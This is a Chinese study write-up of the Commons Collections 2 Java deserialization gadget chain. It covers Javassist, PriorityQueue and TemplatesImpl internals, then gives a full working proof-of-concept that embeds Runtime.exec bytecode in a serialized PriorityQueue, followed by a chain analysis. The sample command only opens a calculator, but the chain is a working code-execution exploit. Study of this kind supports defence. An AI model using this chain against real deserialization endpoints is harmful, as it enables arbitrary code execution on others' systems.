CommonsCollection2反序列化链学习
CommonsCollection2
1、前置知识
CmonnosCollection2需要用到Javassist和PriorityQueue
1.1、Javassist
Javassist是一个开源的分析、编辑和创建Java字节码的类库
我们添加依赖看看
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.26.0-GA</version>
</dependency>
我们来看序列化链主要用到的类
1.1.1、ClassPool
ClassPool是一个基于哈希表(Hashtable
)实现缓存CtClass对象的容器,所有的CtClass对象都在ClassPool中,其中键名是类名称,值是表示该类的CtClass
对象
主要方法
1.public static synchronized ClassPool getDefault() //返回默认的类池
2.public ClassPath insertClassPath(ClassPath cp)//在搜索路径的开头插入一个ClassPath对象
3.public ClassPath insertClassPath(String pathname)//在搜索路径的开头插入目录或jar(或zip)文件
4.public ClassPath appendClassPath(ClassPath cp) //将ClassPath对象附加到搜索路径的末尾
5.public CtClass makeClass(String classname)//返回创建一个新的public类
6.public CtClass get(String classname) //从源中读取类文件,并返回对CtClass
7.public ClassLoader getClassLoader()//获取类加载器
1.1.2、CtClass
Javassit.CtClass是一个class文件的抽象表示。一个CtClass(compile-time class)对象可以用来处理一个class文件,通过ClassPool方法获取
主要方法
1.public void setSuperclass(CtClass clazz)//cc.setSuperclass();设置该CtClass类的父类
2.public void writeFile(String directoryName)
3.public void writeFile(String directoryName)
4.public Class<?> toClass(Lookup lookup)
5.public byte[] toBytecode()
6.public void addMethod(CtMethod m)
7.public void addField(CtField f)
1.1.3、CtMethod
CtMethod
:表示类中的方法。主要被类通过addMethod、getDeclaredMethod获取
1.1.5、CtFields
表示类中的字段
1.1.4、CtConstructor
表示类中的一个构造方法
主要方法
1.public void setBody(String src) //设置构造函数主体。
2.public void setBody(CtConstructor src, ClassMap map)//从另一个构造函数复制一个构造函数主体
1.1.6、ClassClassPath
该类作用是用于通过 getResourceAsStream() 在 java.lang.Class 中获取类文件的搜索路径
构造方法
public ClassClassPath(Class<?> c) {
this.thisClass = c;
}
常用方法
openClassfile,通过类名获取
public InputStream openClassfile(String classname) throws NotFoundException {
String filename = '/' + classname.replace('.', '/') + ".class";
return this.thisClass.getResourceAsStream(filename);
}
常用代码实例
//在默认系统搜索路径获取ClassPool对象
ClassPool pool = ClassPool.getDefault();
//修改搜索的路径
pool.insertClassPath(new ClassClassPath(this.getClass()));
1.1.7、toClass
输出并加载class 类,默认加载到当前线程的ClassLoader中,也可以选择输出的ClassLoader
public static void main(String[] args) throws Exception {
ClassPool classPool = ClassPool.getDefault();
classPool.appendClassPath("/Users/akka/Documents/study/JAVA-project/ysoserial/Javassist/src/main/java/");
CtClass ctClass = classPool.get("com.akkacloud.demo.HelloDemo");
HelloDemo helloDemo=(HelloDemo)ctClass.toClass().newInstance();
helloDemo.setAge(18);
helloDemo.setName("akka");
System.out.println(helloDemo.getAge());
System.out.println(helloDemo.getName());
}
1.18、toBytecode
输出成二进制格式
public static void main(String[] args) throws Exception {
ClassPool classPool = ClassPool.getDefault();
classPool.appendClassPath("/Users/akka/Documents/study/JAVA-project/ysoserial/Javassist/src/main/java/");
CtClass ctClass = classPool.get("com.akkacloud.demo.HelloDemo");
HelloDemo helloDemo=(HelloDemo)ctClass.toClass().newInstance();
helloDemo.setAge(18);
helloDemo.setName("akka");
System.out.println(helloDemo.getAge());
System.out.println(helloDemo.getName());
byte[] bytes = ctClass.toBytecode();
System.out.println(Arrays.toString(bytes));
}
输出
主要用法
ClassPool主要读取方式
//在默认系统搜索路径获取ClassPool对象
ClassPool pool = ClassPool.getDefault();
//修改搜索的路径,表示当前类的位置
pool.insertClassPath(new ClassClassPath(this.getClass()));
//从file加载classpath
pool.insertClassPath("/usr/local/javalib")
//从URL中加载
ClassPath cp = new URLClassPath("www.javassist.org", 80, "/java/", "org.javassist.");
pool.insertClassPath(cp);
//从byte[] 中加载
byte[] b = a byte array;
String name = class name;
cp.insertClassPath(new ByteArrayClassPath(name, b));
//可以从输入流中加载class
InputStream ins = an input stream for reading a class file;
CtClass cc = cp.makeClass(ins);
输出方式
ClassPool pool = ClassPool.getDefault();
//会从classpath中查询该类
CtClass cc = pool.get("test.Rectangle");
//设置.Rectangle的父类
cc.setSuperclass(pool.get("test.Point"));
//输出.Rectangle.class文件到该目录中
cc.writeFile("c://");
//输出成二进制格式
//byte[] b=cc.toBytecode();
//输出并加载class 类,默认加载到当前线程的ClassLoader中,也可以选择输出的ClassLoader。
//Class clazz=cc.toClass();
新增Class
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("Point");
//新增方法
cc.addMethod(m);
//新增Field
cc.addField(f);
//获取move方法
cc.getDeclaredMethod("move")
使用案例
package com.akkacloud.demo;
import javassist.*;
public class JavassistTest {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
// 1. 创建一个空类
CtClass cc = pool.makeClass("com.akkacloud.demo.Person");
// 2. 新增一个字段 private String name;
// 字段名为name
CtField param = new CtField(pool.get("java.lang.String"), "name", cc);
// 访问级别是 private
param.setModifiers(Modifier.PRIVATE);
// 初始值是 "xiaoming"
cc.addField(param, CtField.Initializer.constant("xiaoming"));
// 3. 生成 getter、setter 方法
cc.addMethod(CtNewMethod.setter("setName", param));
cc.addMethod(CtNewMethod.getter("getName", param));
// 4. 添加无参的构造函数
CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);
cons.setBody("{name = \"xiaohong\";}");
cc.addConstructor(cons);
// 5. 添加有参的构造函数
cons = new CtConstructor(new CtClass[]{pool.get("java.lang.String")}, cc);
// $0=this / $1,$2,$3... 代表方法参数
cons.setBody("{$0.name = $1;}");
cc.addConstructor(cons);
// 6. 创建一个名为printName方法,无参数,无返回值,输出name值
CtMethod ctMethod = new CtMethod(CtClass.voidType, "printName", new CtClass[]{}, cc);
ctMethod.setModifiers(Modifier.PUBLIC);
ctMethod.setBody("{System.out.println(name);}");
cc.addMethod(ctMethod);
//这里会将这个创建的类对象编译为.class文件
cc.writeFile("/Users/akka/Documents/study/JAVA-project/ysoserial/Javassist/src/main/java/");
}
}
1.2、PriorityQueue
PriorityQueue 一个基于优先级的无界优先级队列,优先级队列的元素按照其自然顺序进行排序,或者根据构造队列时提供的 Comparator 进行排序,具体取决于所使用的构造方法。该队列不允许使用 null 元素也不允许插入不可比较的对象(没有实现Comparable接口的对象)。
构造方法
//默认创建11容量的PriorityQueue并且排序
private static final int DEFAULT_INITIAL_CAPACITY = 11;
......
public PriorityQueue() {
this(DEFAULT_INITIAL_CAPACITY, null);
}
//指定initialCapacity容量的PriorityQueue并且排序
public PriorityQueue(int initialCapacity) {
this(initialCapacity, null);
}
主要方法
add(E e) 将指定的元素插入此优先级队列
clear() 从此优先级队列中移除所有元素。
comparator() 返回用来对此队列中的元素进行排序的比较器;如果此队列根据其元素的自然顺序进行排序,则返回 null
contains(Object o) 如果此队列包含指定的元素,则返回 true。
iterator() 返回在此队列中的元素上进行迭代的迭代器。
offer(E e) 将指定的元素插入此优先级队列
peek() 获取但不移除此队列的头;如果此队列为空,则返回 null。
poll() 获取并移除此队列的头,如果此队列为空,则返回 null。
remove(Object o) 从此队列中移除指定元素的单个实例(如果存在)。
size() 返回此 collection 中的元素数。
toArray() 返回一个包含此队列所有元素的数组。
案例
public static void main(String[] args) throws Exception {
PriorityQueue priorityQueue = new PriorityQueue();
priorityQueue.add(1);
priorityQueue.add(4);
priorityQueue.add(3);
priorityQueue.add(5);
System.out.println(priorityQueue);
System.out.println(priorityQueue.peek());
System.out.println(priorityQueue.poll());
System.out.println(priorityQueue.peek());
}
输出
1.3、getDeclaredFiled
getDeclaredFiled 仅能获取类本身的属性成员(包括私有、共有、保护)
public static void main(String[] args) throws Exception {
Class aClass = Class.forName("com.akkacloud.demo.HelloDemo");
Field[] declaredFields = aClass.getDeclaredFields();
for (Field declaredField : declaredFields) {
System.out.println(declaredField);
}
}
输出
1.4、TransformingComparator
TransformingComparator是实现了Comparator接口,Comparator主要对集合对象或数组对象进行排序,需要实现Comparator接口以达到我们想要的目标。其中的compare方法调用了传入transformer的transform方法。
public TransformingComparator(Transformer transformer) {
this(transformer, new ComparableComparator());
}
//对传入的参数传入对应的值
public TransformingComparator(Transformer transformer, Comparator decorated) {
this.decorated = decorated;
this.transformer = transformer;
}
//compare会调用transform方法,
public int compare(Object obj1, Object obj2) {
Object value1 = this.transformer.transform(obj1);
Object value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
1.5、TemplatesImpl
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl是⼀个可以加载字节码的类(恶意类)
newTransformer
newTransformer会新建TransformerImpl调用getTransletInstance()
public synchronized Transformer newTransformer() throws TransformerConfigurationException
{
TransformerImpl transformer;
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);
if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}
if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}
其中的TransformerImpl就是赋值
protected TransformerImpl(Translet translet, Properties outputProperties,
int indentNumber, TransformerFactoryImpl tfactory)
{
_translet = (AbstractTranslet) translet;
_properties = createOutputProperties(outputProperties);
_propertiesClone = (Properties) _properties.clone();
_indentNumber = indentNumber;
_tfactory = tfactory;
_overrideDefaultParser = _tfactory.overrideDefaultParser();
_accessExternalDTD = (String)_tfactory.getAttribute(XMLConstants.ACCESS_EXTERNAL_DTD);
_securityManager = (XMLSecurityManager)_tfactory.getAttribute(XalanConstants.SECURITY_MANAGER);
_readerManager = XMLReaderManager.getInstance(_overrideDefaultParser);
_readerManager.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, _accessExternalDTD);
_readerManager.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, _isSecureProcessing);
_readerManager.setProperty(XalanConstants.SECURITY_MANAGER, _securityManager);
//_isIncremental = tfactory._incremental;
}
getTransletInstance
如果_name的值为null,直接返回null,如果_class的值为空(private Class[] _class = null;),则进入defineTransletClasses()
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;
if (_class == null) defineTransletClasses();
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet)
_class[_transletIndex].getConstructor().newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setOverrideDefaultParser(_overrideDefaultParser);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}
return translet;
}
catch (InstantiationException | IllegalAccessException |
NoSuchMethodException | InvocationTargetException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString(), e);
}
}
我们进入defineTransletClasses()
首先判断_bytecodes是不是null,是就报错
defineClass
方法接受一组字节,然后将其具体化为一个Class类型实例
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}
我们发现他创建了一个TransletClassLoader类,AccessController.doPrivileged是一个在AccessController类中的静态方法,允许在一个类实例中的代码通知这个AccessController:它的代码主体是享受"privileged(特权的)",它单独负责对它的可得的资源的访问请求,而不管这个请求是由什么代码所引发的,
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});
我们继续来看看TransletClassLoader类,defineClass()
在TemplatesImpl
内部的静态类TransletClassLoader
被重载了,defineClass
方法接受一组字节,然后将其具体化为一个Class类型实例
这里说多一个ClassLoader类的loadClass
通过ClassLoader#
loadClass(String className)这样使用类名来加载类的时候(默认该类没有被JVM加载过)
要经历下面三个方法的调用:
loadClass 的作用是从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机 制),在前面没有找到的情况下,执行 findClass
findClass 的作用是根据基础URL指定的方式来加载类的字节码,可能会在 本地文件系统、jar包或远程http服务器上读取字节码,然后交给 defineClass
defineClass 的作用是处理前面传入的字节码,将其处理成真正的Java类
我们继续看defineTransletClasses()方法,前面是假如传入的_bytecodes的长度大于1就创建一个HashMap,我们直接进入for循环,首先调用loader.defineClass的方法,创建一个Class类型实例,然后获取他的父类,在判断他的父类的名字是不是等于ABSTRACT_TRANSLET(AbstractTranslet),然后把i赋值transletIndex,transletIndex的默认值是-1。
try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];
if (classCount > 1) {
_auxClasses = new HashMap<>();
}
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
我们终于回到了getTransletInstance方法,通过defineTransletClasses把我们_class赋值为_bytecodes转换为的类,然后再_class[_transletIndex].getConstructor().newInstance()实例化,如果我们传输的是Rce的_bytecodes,那么就会执行代码
if (_name == null) return null;
if (_class == null) defineTransletClasses();
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet)
_class[_transletIndex].getConstructor().newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setOverrideDefaultParser(_overrideDefaultParser);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}
return translet;
2、漏洞复现
2.1、poc
记得先导入依赖
package com.akkacloud;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CommonsCollection2 {
public static void main(String[] args) throws Exception {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool=ClassPool.getDefault();//返回默认的类池
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
CtClass payload=classPool.makeClass("CommonsCollections22222222222");//创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet)); //设置前面创建的CommonsCollections22222222222类的父类为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");"); //创建一个空的类初始化,设置构造函数主体为runtime
byte[] bytes=payload.toBytecode();//转换为byte数组
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
field.setAccessible(true);//暴力反射
field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组
Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
field1.setAccessible(true);//暴力反射
field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test
InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
TransformingComparator comparator =new TransformingComparator(transformer);//使用TransformingComparator修饰器传入transformer对象
PriorityQueue queue = new PriorityQueue(2);//使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
queue.add(1);//添加数字1插入此优先级队列
queue.add(1);//添加数字1插入此优先级队列
Field field2=queue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段
field2.setAccessible(true);//暴力反射
field2.set(queue,comparator);//设置queue的comparator字段值为comparator
Field field3=queue.getClass().getDeclaredField("queue");//获取queue的queue字段
field3.setAccessible(true);//暴力反射
field3.set(queue,new Object[]{templatesImpl,templatesImpl});//设置queue的queue字段内容Object数组,内容为templatesImpl
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
outputStream.writeObject(queue);
outputStream.close();
ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
inputStream.readObject();
}
}
2.2、poc分析
第一段分析,主要通过javassist去创建了一个类CommonsCollection2Test,静态结构体为恶意代码设置一下父类为AbstractTranslet
为甚么要设置父类为AbstractTranslet?
答:上述在TemplatesImpl学习中,把getTransletInstance中的defineTransletClasses()中会判断_class[i]的父类是不是AbstractTranslet
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool=ClassPool.getDefault();//返回默认的类池
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
CtClass payload=classPool.makeClass("com/akkacloud/CommonsCollection2Test");//创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet)); //设置前面创建的CommonsCollections22222222222类的父类为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");"); //创建一个空的类初始化,设置构造函数主体为runtime
payload.writeFile("/Users/akka/Documents/study/JAVA-project/ysoserial/CommonsColection2/src/main/java");
输出来看看,发现我们执行的代码在static静态代码块,该代码块会在类实例化时直接执行
第二段
1、反射创建templatesImpl类
2、把CommonsCollection2Test类(RCE类)转换为字节数组赋值给templatesImpl的属性_bytecodes
3、反射获取并且赋值templatesImpl的属性_name为test字符串
为甚要设置_name为test?
getTransletInstance中会判断_name的值是不是null,空就直接返回null了。
//payload.writeFile("/Users/akka/Documents/study/JAVA-project/ysoserial/CommonsColection2/src/main/java");
byte[] bytes=payload.toBytecode();//转换为byte数组
//String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
field.setAccessible(true);//暴力反射
field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组
Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
field1.setAccessible(true);//暴力反射
field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test
我们通过反射输出来看看
//反射获取对应getter方法,并且输出
Method getTransletName = templatesImpl.getClass().getDeclaredMethod("getTransletName", new Class[]{});
getTransletName.setAccessible(true);
Object name = getTransletName.invoke(templatesImpl, new Object[]{});
System.out.println(name.toString());
Method getTransletBytecodes = templatesImpl.getClass().getDeclaredMethod("getTransletBytecodes", new Class[]{});
getTransletBytecodes.setAccessible(true);
byte[][] bytes1 = (byte[][]) getTransletBytecodes.invoke(templatesImpl, new Object[]{});
for (int i = 0; i < bytes1.length; i++) {
System.out.println(Arrays.toString(bytes1[i]));
}
第三段
1、新建一个InvokerTransformer,,通过反射执行一个newTransformer方法
2、新建一个TransformingComparator,通过前置知识的学习我们只需要通过调用TransformingComparator的compare方法就会调用
InvokerTransformer的transform方法就会调用newTransformer方法,就是把我们传入的bytecode实例化,导致RCE
InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
TransformingComparator transformingComparator =new TransformingComparator(transformer);//使用TransformingComparator修饰器传入transformer对象
第四段
1、创建了一个容量为2的PriorityQueue梳理,并且调用了add方法添加两个元素,我们现在是应该去找怎么调用compare()方法,Poc中是用了priorityQueue类的comparator和queue,并且把templatesImpl(包含了我们用javassist创建的恶意类)赋值给了priorityQueue的queue属性,并且把transformingComparator赋值给了priorityQueue的comparator属性
PriorityQueue queue = new PriorityQueue(2);//使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
queue.add(1);//添加数字1插入此优先级队列
queue.add(1);//添加数字1插入此优先级队列
Field field2=priorityQueue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段
field2.setAccessible(true);//暴力反射
field2.set(priorityQueue,comparator);//设置priorityQueue的comparator属性值为comparator
Field field3=priorityQueue.getClass().getDeclaredField("queue");//获取priorityQueue的queue字段
field3.setAccessible(true);//暴力反射
field3.set(priorityQueue,new Object[]{templatesImpl,templatesImpl});//设置priorityQueue的queue字段内容Object数组,内容为templatesImpl
我们发现siftDownUsingComparator方法中comparator调用了compare,而且其的参数为queue,所以就是我们的用来加载恶意类transformingComparator调用了compare方法,并且参数为queue既我们的恶意数组templatesImpl
哪里调用了siftDownUsingComparator方法呢
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}
siftDown方法调用了siftDownUsingComparator方法
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}
heapify()方法调用了siftDown方法
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}
PriorityQueue的readObject方法中调用了heapify()
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();
// Read in (and discard) array length
s.readInt();
SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size);
queue = new Object[size];
// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}
终于成功了,重写了我们的readObject
2.3、 利用链
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
2.4、正向调试
首先我们在PriorityQueue.readObject()打上断点,进入heapify()
发现queue为TemplatesImpl类(恶意类),继续跟进siftDown
由于comparator不为空,queue就是x,继续进入siftDownUsingComparator,
发现compatator.compare(),此处的compatator就是TransformingComparator
没错,进入到了我们的TransformingComparator的compare,我们可以看到this.transformer为InvokerTransformer,继续跟进
进入InvokerTransformer后,发现cls为TemplatesImpl,方法为newTransformer,继续进入
进入到了TemplatesImpl的newTransformer方法,继续进入getTransletInstance
发现了反射设置的_name,继续进入defineTransletClasses
成功进入,我们就看看他的参数
发现把我们反射传入恶意类的_bytecodes穿给_class[i], >_class[_transletIndex]>_class[0]
返回getTransletInstance()方法,newinstance后既实例化后成功执行代码
2.5、思维导图
参考链接
https://www.cnblogs.com/rickiyang/p/11336268.html
https://blog.csdn.net/u011425751/article/details/51917895